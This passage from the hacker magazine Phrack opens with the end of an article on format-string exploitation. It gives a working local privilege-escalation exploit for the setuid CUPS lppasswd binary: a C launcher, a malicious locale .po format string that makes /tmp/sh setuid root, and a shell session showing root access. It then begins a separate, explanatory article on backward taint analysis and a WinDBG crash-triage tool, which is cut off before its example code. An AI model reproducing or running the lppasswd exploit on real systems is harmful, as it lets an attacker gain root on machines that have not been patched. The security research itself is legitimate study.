distributions (debian, ubuntu, fedora?) ship lppasswd setuid root. Is this
|
|
awesome? yes
|
|
|
|
ls -al lppasswd
|
|
-rwsr-xr-x 1 root root 19144 2010-07-07 00:56 lppasswd
|
|
|
|
To exploit it, you just export LOCALEDIR to a place where
|
|
$LOCALEDIR/C/cups_C.po holds the format strings for the various printfs in
|
|
lppasswd.
|
|
|
|
This exploit turns out to be hard for a few reasons. The first, it is non
|
|
interactive. That is, the format string can not be used for an info leak to
|
|
bypass ASLR. The second limitation is that lppasswd creates a LOCK file, so
|
|
any weaponized exploit must be highly reliable. Luckily this second one can
|
|
be bypassed with resource limits.
|
|
|
|
File: sploit_filz.c
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
#include <sys/resource.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <stdio.h>
|
|
#include <sys/time.h>
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
struct rlimit rara;
|
|
int keke[4096*4];
|
|
char test[0x10000];
|
|
char *args[] = { "./lppasswd", 0 };
|
|
char *env[] = { "LOCALEDIR=./", &keke, test, 0};
|
|
int riri;
|
|
int jmp = 0xbffdc66c;
|
|
|
|
memset(test, 0x01, sizeof(test));
|
|
test[0x10000-1] = 0x00;
|
|
|
|
for(riri = 0; riri < sizeof(keke)/sizeof(int); riri+=4){
|
|
keke[riri+0] = jmp+2;
|
|
keke[riri+1] = jmp+2;
|
|
keke[riri+2] = jmp;
|
|
keke[riri+3] = jmp;
|
|
}
|
|
|
|
rara.rlim_max = rara.rlim_cur = atoi(argv[1]);
|
|
setrlimit(RLIMIT_NOFILE, &rara);
|
|
|
|
execve("./lppasswd",args,env);
|
|
}
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
There is also one important difference between the test program and
|
|
lppasswd. The vulnerability inside libcups is triggered by vsnprintf.
|
|
Internally, vsnprintf creates a fake file stream pointer on the stack and
|
|
then passes it to vfprintf.
|
|
|
|
This is actually pretty good news in terms of bypassing ASLR as the file
|
|
stream pointer is a fixed offset from the format string structures, which
|
|
glibc allocates on the stack.
|
|
|
|
The vulnerable function in libcups follows.
|
|
|
|
File: cups/cups/langprintf.c
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
int /* O - Number of bytes written */
|
|
_cupsLangPrintf(FILE *fp, /* I - File to write to */
|
|
const char *message, /* I - Message string to use */
|
|
...) /* I - Additional arguments as needed */
|
|
{
|
|
|
|
...
|
|
|
|
va_start(ap, message);
|
|
vsnprintf(buffer, sizeof(buffer),
|
|
_cupsLangString(cg->lang_default, message), ap);
|
|
va_end(ap);
|
|
..
|
|
}
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
With ASLR disabled, the best option is to go after the return address. In
|
|
the callstack for vfprintf:
|
|
|
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
|
Breakpoint 1, _IO_vfprintf_internal (s=0xbffdc68c,
|
|
format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; %49150u
|
|
%7352$hx %49150u %7353$hx %14263u %7352$hn %27249u %7353$hn %1$*14951$x
|
|
%1$*14620$x %1073741824$", ap=0xbffdefe8 "\243>\344\267-\021\021") at
|
|
vfprintf.c:210
|
|
210 in vfprintf.c
|
|
(gdb) bt
|
|
#0 _IO_vfprintf_internal (s=0xbffdc68c,
|
|
format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; ...
|
|
#1 0xb7df2bf4 in ___vsnprintf_chk (s=0xbffde7bc "", maxlen=2048, flags=1,
|
|
slen=2048,
|
|
format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; ....
|
|
#2 0xb7f96544 in vsnprintf (fp=0xb7e68580,
|
|
message=0x1117c5 "lppasswd: Unable to open password file: %s\n")
|
|
at /usr/include/bits/stdio2.h:78
|
|
#3 _cupsLangPrintf (fp=0xb7e68580,
|
|
message=0x1117c5 "lppasswd: Unable to open password file: %s\n")
|
|
at langprintf.c:125
|
|
#4 0x0011116a in main (argc=1, argv=0xbffdfee4) at lppasswd.c:316
|
|
(gdb)
|
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
|
|
|
The second return address lends itself very well to exploitation. The 2nd
|
|
parameter points to user input. This is highly useful when overwriting the
|
|
saved return address.
|
|
The address can be pointed to &system or __libc_system or do_system, and
|
|
the old 2nd argument will become the argument to system.
|
|
|
|
Above in the resource limit setting code, the enivornment is filled with
|
|
pointers to that return address:: int jmp = 0xbffdc66c;
|
|
|
|
keke[riri+0] = jmp+2;
|
|
keke[riri+1] = jmp+2;
|
|
keke[riri+2] = jmp;
|
|
keke[riri+3] = jmp;
|
|
|
|
NX Bypass: C/cups_C.po
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
msgid "lppasswd: Unable to open password file: %s\n"
|
|
msgstr "chown root:root /tmp/sh; chmod 4755 /tmp/sh; %49150u %7352$hx
|
|
%49150u \
|
|
%7353$hx %14263u %7352$hn %27249u %7353$hn %1$*14951$x %1$*14620$x
|
|
%1073741824$"
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
The first part executes a command. The next 4 arguments were padding but
|
|
removing them would have required some recalculations.
|
|
|
|
These two writes redirect control flow to system by overwriting the least
|
|
and most significant half-words of the saved return address.
|
|
|
|
%14263u %7352$hn %27249u %7353$hn
|
|
|
|
And the last part is used to bypass FORTIFY_SOURCE:
|
|
%1$*14951$x %1$*14620$x %1073741824$.
|
|
|
|
Overall, things are pretty hairy, but they work with some massaging.
|
|
|
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -l lppasswd
|
|
-rwsr-xr-x 1 root root 18867 2010-06-06 01:26 lppasswd
|
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -al /tmp/sh
|
|
ls: cannot access /tmp/sh: No such file or directory
|
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ cp /bin/bash /tmp/sh
|
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ gcc -o sf sploit_filz.c
|
|
sploit_filz.c: In function ?main?:
|
|
sploit_filz.c:13: warning: initialization from incompatible pointer type
|
|
sploit_filz.c:20: warning: incompatible implicit declaration of built-in
|
|
function ?memset?
|
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ ./sf 4
|
|
Enter old password:
|
|
Enter password:
|
|
Enter password again:
|
|
sh: %49150u: not found
|
|
Segmentation fault
|
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -al /tmp/sh
|
|
-rwsr-xr-x 1 root root 818232 2010-07-07 01:26 /tmp/sh
|
|
captain@planet:~/research/fmt/cups-1.4.2/systemv$ /tmp/sh -p
|
|
sh-4.1# id
|
|
uid=1337(captain) gid=1337(captain) euid=0(root)
|
|
groups=4(adm),20(dialout),24(cdrom),29(audio),30(dip),44(video),46(plugdev)
|
|
,104(lpadmin),112(netdev),115(admin),118(pulse-access),120(sambashare),
|
|
1000(captain)
|
|
|
|
|
|
------------[ C. TODO- ASLR
|
|
|
|
The author has failed to make an ultra reliable exploit for defeating both
|
|
ALSR and an NX stack. Part of what makes it difficult is all of the moving
|
|
parts.
|
|
|
|
In this case ASLR makes things hairy for two reasons. Both the stack and
|
|
libc (and the text) are shifting. They are randomly offset from each other.
|
|
In the above exploit, two values need to be known. The first is the
|
|
location of the saved return address. The second is the address of glibc.
|
|
By applying the resource limits, it is still possible to brute force this
|
|
vulnerability, but it requires patience with 24-bits of entropy.
|
|
|
|
Anyway, the following two methods have been attempted.
|
|
|
|
1) Copy (read+write) primitive using width arguments.
|
|
|
|
The width argument can be used to read a value from memory and write it
|
|
somewhere.
|
|
|
|
%1$*100$u will read the 100th argument's value, and write that many spaces.
|
|
This is presumably the reason why %n was introduced in the first place. The
|
|
copy would look like this:
|
|
|
|
%1$*100$u %2$101$n
|
|
|
|
Author's Verdict: Too hairy
|
|
The copy write primitive does not seem to work reliably under the fortify
|
|
source loss of state. Exact reasons have not been yet determined, and a way
|
|
to stabilize them may exist. In addition, once a copy operation is
|
|
performed, the internal printf counter must be reset by writing a value
|
|
numerous times. The easiest way to do this would be to print out the same
|
|
value '256' times and reduce write width to one-character at a time.
|
|
Writing the same value '256' times ensures that the lowest byte of the
|
|
internal counter will be 0.
|
|
|
|
2) Repurpose double stack pointers
|
|
|
|
For lppasswd, stack double-pointers exist that can be repurposed. For %n to
|
|
work, a pointer is needed. The idea behind this avenue is to use the first
|
|
pointer to redirect the second pointer to the return address.
|
|
|
|
Author's verdict: Using the pointers is reliable, but ASLR has enough
|
|
entropy in the the correct offset to the return address is unreliable. The
|
|
best acheivement was 24-bits of entropy, 12-bits for the return address and
|
|
12-bits for &system. Only one exploit seemed to work, and the author was
|
|
unable to reproduce even after a night of testing.
|
|
|
|
===========================================================================
|
|
|
|
------[ 4. Afterword
|
|
|
|
It is the author's opinion that it is quite amazing vfprintf even compiles
|
|
in the first place. Briefly, it should be noted that there are more angles
|
|
of attack in the vfprintf code that are a bit more complicated. Although
|
|
quite messy. Here is one example, if a target is using the deprecated
|
|
features of vfprintf to register their own format string specifiers, an
|
|
attacker can get arbitrary code execution without needing %n. Execution
|
|
without %n may even be possible with the jump table implementations...
|
|
|
|
This article is dedicated to runixd and beist, the top scoring two of the
|
|
first three loller skaterz. Mad greetz to the even better lollerskaterz
|
|
dropping from rofl copters. Surf the chaos dudes!
|
|
|
|
Many thanks to the phrack staff for their help.
|
|
And also real hackers who make me blush.
|
|
|
|
Thanks for reading. Have phun!
|
|
|
|
[0] http://msdn.microsoft.com/en-us/library/ms175782.aspx
|
|
[1] http://www.securityfocus.com/bid/1634
|
|
[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0393
|
|
[3] http://www.phrack.org/issues.html?issue=59&id=7&mode=txt
|
|
[4] http://www.phrack.org/issues.html?issue=63&id=14
|
|
[5] http://althing.cs.dartmouth.edu/local/formats-teso.html
|
|
[6] http://www.loko.nu/formatstring/format_string.htm
|
|
|
|
--------[ EOF
|
|
|
|
===Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x0a of 0x10
|
|
|
|
|=----------------------------------------------------------------------=|
|
|
|=-------=[ Dynamic Program Analysis and Software Exploitation ]=-------=|
|
|
|=---------------=[ From the crash to the exploit code ]=---------------=|
|
|
|=----------------------------------------------------------------------=|
|
|
|=----------------------------------------------------------------------=|
|
|
|=---------------=[ By BSDaemon ]=---------=|
|
|
|=---------------=[ <bsdaemon *noSPAM* risesecurity_org> ]=---------=|
|
|
|=----------------------------------------------------------------------=|
|
|
|=-------------------------=[ August 14 2010 ]=------------------------=|
|
|
|=----------------------------------------------------------------------=|
|
|
|
|
"Don't matter what do you beleive
|
|
happens when someone dies, the life always continues through the others who
|
|
remember."
|
|
Md. Sergio da Silva Branco
|
|
Beloved father and my hero. God bless
|
|
you!
|
|
|
|
|
|
------[ Index
|
|
|
|
0 - Abstract
|
|
0.1 - Keywords
|
|
|
|
1 - Introduction
|
|
1.1 - Paper structure
|
|
|
|
2 - Concepts and Additions
|
|
2.1 - Taint Analysis
|
|
2.1.1 - Taint Sources
|
|
2.1.2 - Intermediate Languages and Tainted Sources
|
|
2.1.3 - Explosion of watched data
|
|
2.2 - Backward Taint Analysis
|
|
2.2.1 - From the crash to the exploit
|
|
|
|
3 - Existent solutions and comparisions
|
|
|
|
4 - Future and other uses
|
|
|
|
5 - Acknowledgements
|
|
|
|
6 - References
|
|
|
|
7 - Sources
|
|
|
|
------[ 0 - Abstract
|
|
|
|
This article provides a compilation of the state of the art in program
|
|
analysis, a real implementation based on an extension to the Microsoft
|
|
Debugger for tracing and a GUI application to actually do such
|
|
analysis and help determine not just if something is exploitable, but
|
|
actually to guide you in such exploitation process. It uses backward taint
|
|
analysis to map from the crash back to the original data and define what
|
|
part of the data crashed the application, and how such data was transformed
|
|
during the execution.
|
|
|
|
It does not discuss how to create a Microsoft Debugger extension, and is not
|
|
even going to citate anything related to that. It is all about software
|
|
exploitation, so I completely ignore other motivations for program analysis
|
|
(although I know those motivations are really important too). A deep
|
|
understanding of software exploitation is required in order to really take
|
|
advantage of such tool.
|
|
|
|
|
|
------[ 0.1 - Keywords
|
|
|
|
Dynamic Analysis, Taint Analysis, Data Flow, Intermediate Language, Reverse
|
|
Engineering, Software Exploitation.
|
|
|
|
------[ 1 - Introduction
|
|
|
|
Program Analysis is a hot topic. Many people are discussing this subject
|
|
even more given the amazing numbers of crashes the fuzzers are finding
|
|
nowadays [1] [2].
|
|
|
|
This article uses program analysis as the way of making a computational
|
|
system reason automatically (or at least with little human assistance)
|
|
about the behavior of a program and draw conclusions that are somehow
|
|
useful.
|
|
|
|
In a world where thousands of crashes do exist and are easily found in very
|
|
important softwares, the classification of exploitability of such bugs is
|
|
the first priority. It is known that it is impossible (or inviable or
|
|
nobody wants to, or whatever other excuse you find to not fix your
|
|
software) to fix all the bugs such fuzzers are finding, so, at least,
|
|
companies want to fix (or exploit) the ones that are exploitables.
|
|
|
|
The problem is that the only available solution to analyze such crashes are
|
|
provided by Microsoft (named !exploitable or bang exploitable) [3][4] and
|
|
are not really useful to create actual exploits or to better understand the
|
|
problem, but just to give a static classification (exploitable, probably
|
|
exploitable, not exploitable or unknown).
|
|
|
|
Even people with source code access are sometimes relying on such tools to
|
|
determine the exploitability of a given path (sometimes it is easier to
|
|
analyze a bug without getting into the messy code structure).
|
|
|
|
Taint Analysis concepts and challenges are going to be explained in order
|
|
to determine what is being done by the proposed solution and to provide a
|
|
better idea of future and areas of improvements.
|
|
|
|
---[ 1.1 - Paper structure
|
|
|
|
In Chapter 2 I discuss about the concepts needed in the solution, like what
|
|
is program flow analysis, taint analysis, what are the taint sources that
|
|
can be used and how to map between the assembly code and the taint places
|
|
in order to propagate the taint. Also in this chapter I talk about the
|
|
explosion of watched data when you are tainting from the beginning of the
|
|
execution and why backward taint analysis is the solution for this problem.
|
|
|
|
Chapter 3 compares the provided solution with the Microsoft !exploitable
|
|
software.
|
|
|
|
Chapter 4 defines the future of this area and some expected improvements in
|
|
the future.
|
|
|
|
Chapter 5 is the acknowledgements to everybody who contributed
|
|
directly or indirectly to this article.
|
|
|
|
Chapter 6 includes the references and some additional references (not
|
|
directly cited in the article, but very useful to learn more) and, finally,
|
|
Chapter 7 is the most juicy part and includes all the sources for two
|
|
different projects (the Microsoft Debugger extension which is the main
|
|
focus of this article and a HeapMonitor for Linux-ARM that I also comment
|
|
in this paper).
|
|
|
|
------[ 2 - Concepts and Additions
|
|
|
|
This is the core of the article and will give the state-of-the-art in
|
|
program analysis focusing in software exploitation. Here I discuss
|
|
all the challenges in this area and all the concepts needed in order to
|
|
understand the attached code (Section 7).
|
|
|
|
Vulnerability exploitation experience is not required to understand this
|
|
particular section. Vulnerability exploitation experience is mandatory
|
|
to actually use the offered solution, since the implementation only helps
|
|
the analysis process and does so automating the process of validation of
|
|
what the attacker control that influences a crash and what are the code
|
|
traces to get to the crash point.
|
|
|
|
---[ 2.1 - Taint Analysis
|
|
|
|
Taint Analysis is one kind of program flow analysis and the idea behind
|
|
such analysis of a program flow in the context of this article is to define
|
|
the influence of external data over the analyzed application.
|
|
|
|
Since the information flows, or as usually said, is copied to or influences
|
|
other data, there is a need to follow this influence in order to determine
|
|
the control over specific data (registers, memory locations). This is a
|
|
requirement to later determine the exploitability.
|
|
|
|
To follow the information flow, I need to keep track over all the taint
|
|
sources, and propagate such tracking to influenced data.
|
|
|
|
That means that when a tainted location is used in such a way that a value
|
|
of other data is derived from the tainted data (like in mathematical
|
|
operations, move instructions and others) I need to mark the other location
|
|
as tainted as well. This is called taint propagation and is defined with
|
|
the following transitive relation:
|
|
|
|
- If information A is used to derive information B:
|
|
A->t(B) -> Direct flow
|
|
- If B is used to derive information C:
|
|
B->t(C) -> Direct flow
|
|
- Thus: A->t(C) -> Indirect flow
|
|
|
|
These transitive steps between operations are called 'flows' and can be
|
|
analyzed one by one or in a block (like in the example above, A->t(C)).
|
|
|
|
A location is defined as:
|
|
|
|
- A memory address and size
|
|
|
|
- A register name (for the implementation a register is considered
|
|
entirely, not making differences regarding %eax and %al for
|
|
example). This means that, when defining a register, I set
|
|
it higher (e.g: setting %al as tainted will also taint %eax)
|
|
and clearing will clear it lower. Care must be taken, since
|
|
when defining %al, %ah is not set.
|
|
|
|
To keep track over bit operations in a register, it is important to taint
|
|
the code-block level of a control flow graph [5]. This adds extra
|
|
complexity, since there is the flow graph and the data flow dependencies
|
|
graph. The dependencies graph represents the influence of a source data
|
|
to the operation been performed.
|
|
|
|
In the implementation provided with this article, the WinDBG extension will
|
|
normalize the operations, saving the used values for later inspection by
|
|
the GUI application. This provides a great view over the tainted data.
|
|
|
|
|
|
---[ 2.1.1 - Taint Sources
|
|
|
|
Any information that is considered untrusted is tainted.
|
|
|
|
Untrusted, for the scope of this article, is the information considered in
|
|
control of the attacker. There is also a transitive relation when dealing
|
|
with tainted data, where any untainted data that receives values from tainted
|
|
source, becomes tainted.
|
|
|
|
This includes information received from the network, or readed from the
|
|
disk (in case of client-side exploits, for example).
|
|
|
|
The more tainted information, the bigger the propagation and the required
|
|
resources in order to keep track of that. In fuzzing situations, where
|
|
taint data is used to feedback the program behavior, even server-side
|
|
configurations can be marked as tainted (in order to avoid the need to test
|
|
server software with multiple different configurations [22]).
|
|
|
|
Tainted information is just deleted when it receives an assignment from an
|
|
untainted source or and assignment from a taint source resulting in a constant
|
|
value not controlled by the attacker. Most instructions in a program will not
|
|
untaint the data, thus usually the number of tainted data grows during the
|
|
program analysis.
|
|
|
|
The example above is an explicit flow, since the defined value will receive
|
|
the used tainted value independently of any conditions.
|
|
|
|
When there are conditions for the flow, this is called an implicit flow,
|
|
like in the following example:
|
|
|
|
if (x == 1) y=0;
|
|
|
|
As I'll analyze in section 2.2, conditional statements needs a special analysis
|
|
approach, and in the offered tool this is done in the analysis part
|
|
(the WinDBG extension).
|
|
|
|
Two special situations to track are partial tainting (when the untrusted
|
|
source doesn't completely control the tainted data) and tainting merge
|
|
(when there are two different untrusted sources being used to derive some
|
|
data). In a merge, the result is tainted.
|
|
|
|
A data area is 'used' when it is referenced by an operation and is
|
|
'defined' when the data is modified.
|
|
|
|
Instructions that are pure assignments are easy to track, since if a
|
|
tainted location is used to define another location, this new location will
|
|
also be tainted.
|
|
|
|
Operations over strings are tainted when:
|
|
|
|
- They are used to calculate string sizes using a tainted location
|
|
E.g: a = strlen(tainted(string));
|
|
|
|
Since string is tainted, I assume the attacker also controls
|
|
the value of a.
|
|
|
|
- Search for some specific char using a tainted location, defining
|
|
a flag if found or not found.
|
|
|
|
E.g.: pointer = strchr(tainted(string), some_char);
|
|
|
|
if (pointer) flag=1;
|
|
|
|
Since the string is tainted, I assume the attacker also
|
|
partially controls the flag. The same happens if the
|
|
attacker controls the some_char value.
|
|
|
|
Arithmetical instructions with at least one used tainted data usually
|
|
define tainted results, since the attacker at least partially controls the
|
|
result.
|
|
Those instructions can be simplified using intermediate languages to map to
|
|
boolean operations, and then the following rules applies:
|
|
|
|
Or truth table:
|
|
|
|
X Y X or Y
|
|
0 0 0
|
|
0 1 1
|
|
1 0 1
|
|
1 1 1
|
|
|
|
|
|
And truth table:
|
|
|
|
X Y X and Y
|
|
0 0 0
|
|
0 1 0
|
|
1 0 0
|
|
1 1 1
|
|
|
|
Xor truth table:
|
|
|
|
X Y X xor Y
|
|
0 0 0
|
|
0 1 1
|
|
1 0 1
|
|
1 1 0
|
|
|
|
Assuming there is at least one used tainted data:
|
|
|
|
- In the situation where I have an or operand, if the used
|
|
untainted data is 1, I know that I don't define the result of the
|
|
operation, so I untaint the result. If it is 0, I know that
|
|
whatever value I define for the tainted data, the same value will
|
|
be defined for the used target of the operation, meaning that the
|
|
result is tainted.
|
|
|
|
- When I have the and operation, on the other side, if the used
|
|
untainted data register is 0, I know that I can't define the
|
|
result, and hence I untaint the data. If the used untainted data
|
|
is 1, I completely define the result, so it is tainted.
|
|
|
|
- XORs have a special situation where the value is XORed with
|
|
itself. This is the only case where an used tainted data will
|
|
define an untainted result (0).
|
|
|
|
It is also a good idea to keep track of the EFLAGS register when the
|
|
attacker is able to define the value, considering it tainted (this is later
|
|
used to determine the influence over flow operations).
|
|
|
|
Conditional branches are taken care of in the implementation using the
|
|
tracing analysis generated by the WinDBG plugin. Single-stepping is used for
|
|
the tracing. WinDBG provides the disassembled opcode for the current
|
|
instruction and it is parsed to keep track of the tainted data.
|
|
|
|
To solve a limitation of the tool, which is to consider cases not created
|
|
by the original crash data, one must analyze conditional jumps and flag
|
|
registers carefully:
|
|
|
|
- If the attacker can define the EFLAGS, and a jump is dependent of
|
|
a flag, the attacker controls the branch decision (this is
|
|
considered by !exploitable as unknown, since creates lots of
|
|
different possibilities - simply controlling EIP is not enough to
|
|
define exploitability, since some control over the memory
|
|
location pointed by the EIP is also a requirement). Ret-into-lib
|
|
depends of the controls over the arguments and ROP approaches requires
|
|
multiple return control to create all the required gadgets.
|
|
|
|
- control over a branch decision means tainted EIP, since the
|
|
attacker at least partially controls the flow of execution
|
|
|
|
- To consider the value of EIP, one must define:
|
|
* The address if the jump is taken
|
|
* The address of the next instruction (if the jump is not
|
|
taken)
|
|
* The value of the interesting flag register (0 or 1)
|
|
* Then: %eip<-(address of the next instruction) + value
|
|
of the flag register * (|address if the jump is taken -
|
|
address of the next instruction|)
|
|
|
|
The above formula permits to extend the functionality to expand the taint
|
|
over code flow blocks, solving the actual limitation of defining if a
|
|
specific code block is under attacker control (instead of a specific
|
|
destination with the actual input that generates the crash), but also
|
|
exponentially grow the complexity of keeping track.
|
|
|
|
Researchers are creative and as so there are many other uses for taint
|
|
analysis like identify how long sensitive data is kept in the system [6]
|
|
and/or formally define a secure information flow [7].
|
|
|
|
|
|
---[ 2.1.2 - Intermediate Languages and Tainted Sources
|
|
|
|
In order to keep track of the tainted sources and propagate the taint, it
|
|
is critical to have a program analysis that will understand the target
|
|
program language semantics.
|
|
|
|
Tools exist to implement taint analysis in high-level languages, such as
|
|
C++ and Java [7][8][9], but this article focuses on straight assembly code
|
|
analysis. I also recommend reading about symbolic execution [9][10] and
|
|
SAT Solvers [11][12][13] since this has a close relation with the subject.
|
|
|
|
The classic approach is to use an intermediate language to represent the
|
|
program instructions. This improves the code quality and helps in
|
|
portability.
|
|
|
|
There are many good references in that area, so I'm just going to recommend
|
|
some [14][15][16] and say that I use the WinDBG api directly, which is not
|
|
the best approach while thinking in portability, but was the fastest to
|
|
code.
|
|
|
|
The WinDBG extensions are DLLs loaded by the debugger using LoadLibrary and
|
|
run in the context of the debugger process. Those extensions are trusted
|
|
by the debugger. The debugger tries to handle access violations, but heap
|
|
corruptions in the extension itself will likely crash the debugger.
|
|
|
|
All the debugger extensions can make calls to the Win32 API and to the
|
|
debugger interfaces (dbgeng.dll).
|
|
|
|
What is more interesting is the fact that the debugger API will try to
|
|
abstract the type/version of the target, which means you can write
|
|
extensions that will work on a live debugging session or in a dump file
|
|
equally. The same applies for user-mode/kernel-mode targets.
|
|
|
|
The two main types of extensions API for WinDBG are:
|
|
- WdbgExts -> Old debugger extension interfaces has many
|
|
limitations for symbol and type lookups
|
|
- DbgEng -> It is the new debugger interface, which the attached
|
|
project is based on. Offers interface for everything that can be performed
|
|
by the debugger
|
|
|
|
DbgEng extension API is exposed through the dbgeng.dll and offers the
|
|
capability to create new standalone tools that call the interface. Some of
|
|
the functionalities supported:
|
|
- Get current thread/process information
|
|
- Read/Write memory
|
|
- Symbol/type lookup
|
|
|
|
To call the extension functions, one need to first created the debug
|
|
interface objects and then call the interface exposed by these objects.
|
|
|
|
A extension using the DbgEng must export the DebugExtensionInitialize entry
|
|
point, and optionally export the DebugExtensionNotify and
|
|
DebugExtensionUninitialize entry points.
|
|
|
|
As previously explained, the debugger will LoadLibrary() the extension dll
|
|
and then will use the GetProcAddress() to find the entry point.
|
|
|
|
From the attached code:
|
|
HRESULT
|
|
CALLBACK
|
|
DebugExtensionInitialize(
|
|
OUT PULONG Version,
|
|
OUT PULONG Flags
|
|
)
|
|
|
|
This is the mandatory entry point which will be called when the extension
|
|
is loaded. This function get new debugger interfaces by calling in the
|
|
code:
|
|
if ((Hr = DebugCreate(__uuidof(IDebugClient)),
|
|
(void **)&DebugClient)) != S_OK)
|
|
...
|
|
|
|
if ((Hr = DebugClient->QueryInterface(__uuidof(IDebugControl),
|
|
(void **)&DebugControl)) != S_OK)
|
|
|
|
The optional:
|
|
void
|
|
DebugExtensionNotify(
|
|
OUT ULONG Notify,
|
|
OUT ULONG64 Argument
|
|
)
|
|
|
|
Is called then the target is connected/disconnected and is not used in the
|
|
code. The DebugExtensionUninitialize is called when the extension is
|
|
unloaded and can perform cleanup routines.
|
|
|
|
In the attached code:
|
|
HRESULT
|
|
CALLBACK
|
|
vdt_trace(PDEBUG_CLIENT Client, PCSTR args)
|
|
|
|
Is the debugger extension (called from the debugger using !vdt_trace). The
|
|
args is the command line argument string passed to the extension.
|
|
|
|
The API is very rich in getting process information and I strongly
|
|
recommend the reader to have a look into the source code at this point.
|
|
|
|
|
|
---[ 2.1.3 - Explosion of Watched Data
|
|
|
|
Anybody who has worked with taint propagation knows that the biggest
|
|
problem is how to keep track of all the data.
|
|
|
|
In this case, I need at least to:
|
|
|
|
- Identify all the instructions and their operands
|
|
- Define what are the source, destination and other impacted
|
|
registers (some projects don't keep track of affected registers,
|
|
like the comparision flags in EFLAGS [6])
|
|
- Mark all the tainted data
|
|
- Understand what each instruction does
|
|
|
|
It is easy to see that keeping track over all the information is quite
|
|
performance-intensive, even more when decisions need to be made and
|
|
followed.
|
|
|
|
There are implicit and explicit operands for instructions, and it is
|
|
necessary to support all the situations (otherwise, the track over some
|
|
important tainted data is lost).
|
|
|
|
A good example [5] is a simple push %eax operation:
|
|
|
|
- Explicit operand: %eax register
|
|
- Implicit operands: %esp and ss
|
|
- Semantic: %esp<-%esp-4 (substraction)
|
|
ss:[%esp]<-%eax (move)
|
|
|
|
As explained, this is treated by the intermediate language. I need to keep
|
|
track of the base memory areas, their size and the register names (keeping
|
|
bitwise information - as opposed of byte-level [21] - is better to avoid false
|
|
positives, but is prone to easily explode the amount of data collected).
|
|
|
|
Boolean operations have a special treatment as well, since some boolean
|
|
operations will provide different results when they are performed with the
|
|
same data (or with fixed values), like a XOR of the same tainted data will
|
|
give back untainted information (and with 0 is the same, and so on...), as
|
|
explained before.
|
|
|
|
Instructions over strings also needs to be tainted (many integer overflows
|
|
happens from calculations of data sizes). The cases of tainting operations
|
|
over strings have been explained in the section 2.1.1.
|
|
|
|
Tainted data will remain for long time, also increasing the explosion
|
|
problem (to delete the tracking over a data, it is required that this data
|
|
receives an uncontrolled value, or is deallocated somehow).
|
|
|
|
During the tracing step (explained later) the instructions complexity are
|
|
simplified in order to speed-up the analysis process.
|
|
|
|
Due to all the challenges faced by the taint analysis and to the lack of
|
|
detailed information about source data for specific file-formats and protocols,
|
|
and thus the difficulties in creating working exploits for such cases, I
|
|
decided to use a different approach. Such approach is very useful when you
|
|
already have a reproducible crash case and is named Backward Taint Analysis.
|
|
|
|
---[ 2.2 - Backward Taint Analysis
|
|
|
|
Backward Taint Analysis is a reverse approach to the natural taint analysis
|
|
flow. Basically, instead of getting all the input, mark it as tainted and
|
|
track it during the program execution, what I do is to get the crash,
|
|
validate what is of interest (which led to the application crash) and trace
|
|
back to see if it comes from input and, if so, what modifications were
|
|
performed.
|
|
|
|
This avoids the explosion of tainted data, since most of the input is
|
|
considered not tainted (and usually it is legitimate).
|
|
|
|
To do so, the process is divided in two parts:
|
|
|
|
- A trace from a good state to the crash (incrementally dumped to a
|
|
file) -> Gather substantial information about the target
|
|
application when it receives the input data, which is formally
|
|
named 'analysis'
|
|
- Analysis of the trace file -> Formally defined as 'verification'
|
|
step, where the conclusive analysis is done
|
|
|
|
The trace step stores some useful information, like effective addresses and
|
|
data values (later used to determine what is been copied to where and how
|
|
it is been affected). Note that:
|
|
|
|
- This is done using a WinDBG extension
|
|
- It only supports the basic x86 instructions (so, no MMX and SSE).
|
|
This limits the analysis in many cases and requires extension on
|
|
the supported instructions. The project is been open-sourced here,
|
|
so I expect to receive patches.
|
|
- Simplification of the instructions to make the next step softer
|
|
|
|
To provide the simplification it is necessary to deal with many specifics,
|
|
like in the instruction:
|
|
|
|
- CMPXCHG r/m32, r32 -> 'Compare EAX with r/m32. If equal, ZF is
|
|
set and r32 is loaded into r/m32.
|
|
Else, clear ZF and load r/m32 into
|
|
AL' [17]
|
|
|
|
Such an instruction creates the need for conditional taints, since
|
|
by controlling %eax and r32 the attacker controls r/m32 too.
|
|
|
|
Alternative taints are also provided, in the form of srcdep{1,2,3}.
|
|
|
|
Since the trace step generates a file to be loaded by the next step, this
|
|
file will contain:
|
|
|
|
- Mnemonic of the instruction
|
|
- Operands
|
|
- Dependences for the source operand
|
|
|
|
Dependences for an operand are for example, elements of an indirectly
|
|
addressed memory. This will create a tree of the dataflow, with a root in
|
|
the crash instruction.
|
|
|
|
The analysis step receives the address ranges that have the attacker data
|
|
and then does the automatic analysis to determine the control over anything
|
|
you want to know.
|
|
|
|
- This is done by a standalone tool (it is in the same project
|
|
file), and has a GUI!
|
|
|
|
Since the dataflow is available in a tree rooted in the crash instruction,
|
|
the analysis step will just search in this tree, using a BFS [18]
|
|
algorithm.
|
|
|
|
Let's now look at some example code:
